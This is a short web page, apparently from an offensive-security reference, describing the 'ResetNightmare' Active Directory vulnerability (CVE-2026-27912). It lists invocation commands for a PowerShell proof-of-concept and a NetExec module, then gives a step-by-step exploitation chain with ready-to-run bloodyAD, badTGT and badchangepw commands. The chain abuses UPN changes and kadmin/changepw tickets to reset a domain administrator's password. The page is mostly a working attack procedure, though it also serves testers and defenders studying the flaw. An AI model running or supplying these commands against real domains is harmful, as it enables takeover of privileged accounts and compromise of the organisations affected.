Skip to content

ResetNightmare

CVE-2026-27912

  • Semperis-Community/ResetNightmare - POC tool for ResetNightmare (CVE-2026-27912)

    . .\ResetNightmare.ps1

Invoke-ResetNightmare `
    -TargetAccount "victim" `
    -TargetNewPassword "NewP@ssw0rd!" `
    -UPNUser "controlledUser" `
    -UPNUserPassword "ControlledP@ss!"

  • Pennyw0rth/NetExec - resetnightmare module

    nxc ldap 10.10.10.10 -u user -p password -M resetnightmare -o TARGET='administrator' NEW_PASSWORD='P@ssw0rd' UPN_USER='nxc$' UPN_PASSWORD='Password123!'

Exploitation:

  1. An attacker has obtained a user named UPNUser, with no special permissions other than the ability to modify their own UPN value.

  2. The attacker sets the user's UPN to the SamAccountName of the targeted account; for example, DemoAdmin1. This action does not require bypassing UPN uniqueness verification checks. DemoAdmin1's actual UPN should be DemoAdmin1@demo.lab, so setting UPNUser's UPN to just DemoAdmin1 is allowed.

    bloodyAD -H 10.10.10.10 -d domain.lab -u Attacker -p 'Password123!' get object 'DemoAdmin1' --attr sAMAccountName
bloodyAD -H 10.10.10.10 -d domain.lab -u Attacker -p 'Password123!' set object UPNUser userPrincipalName -v DemoAdmin1

  3. The attacker requests a TGT for kadmin/changepw by specifying DemoAdmin1 as the user name, NT-ENTERPRISE as the name type, and UPNUser's password.

    badTGT 'kerberos+pw://domain.lab\DemoAdmin1:Password123!@10.10.10.10/?ptype=10' --ccache UPNUser.ccache --sname kadmin/changepw

  4. The DC returns a TGT_REP with a TGT for UPNUser (as indicated by PAC_REQUESTOR_SID in the PAC), but with the username DemoAdmin1(NT_ENTERPRISE).

  5. Using this ticket to issue a password change request will reset UPNUser's password. To escalate privileges, the attacker changes or clears UPNUser's UPN value, leaving no user with the UPN appearing on the ticket.

    bloodyAD -H 10.10.10.10 -d domain.lab -u Attacker -p 'Password123!' set object UPNUser userPrincipalName -v UPNUser
badchangepw 'kerberos+ccache://domain.lab\DemoAdmin1:UPNUser.ccache@10.10.10.10' 'newAdminPwd1!'

  6. Trying to use this ticket for a TGS_REQ after the UPN change will result in a KDC_ERR_TGT_REVOKED error, due to the PAC_REQUESTOR_SID patch, blocking impersonation. However, by using this ticket to construct the password change request, the password change works.

  7. Now, the attacker can request a new TGT for DemoAdmin1, without specifying the NT-ENTERPRISE name type. The request now works and the name type of the ticket is NT-PRINCIPAL, indicating that the ticket belongs to the real (SamAccountName) DemoAdmin1 user.

References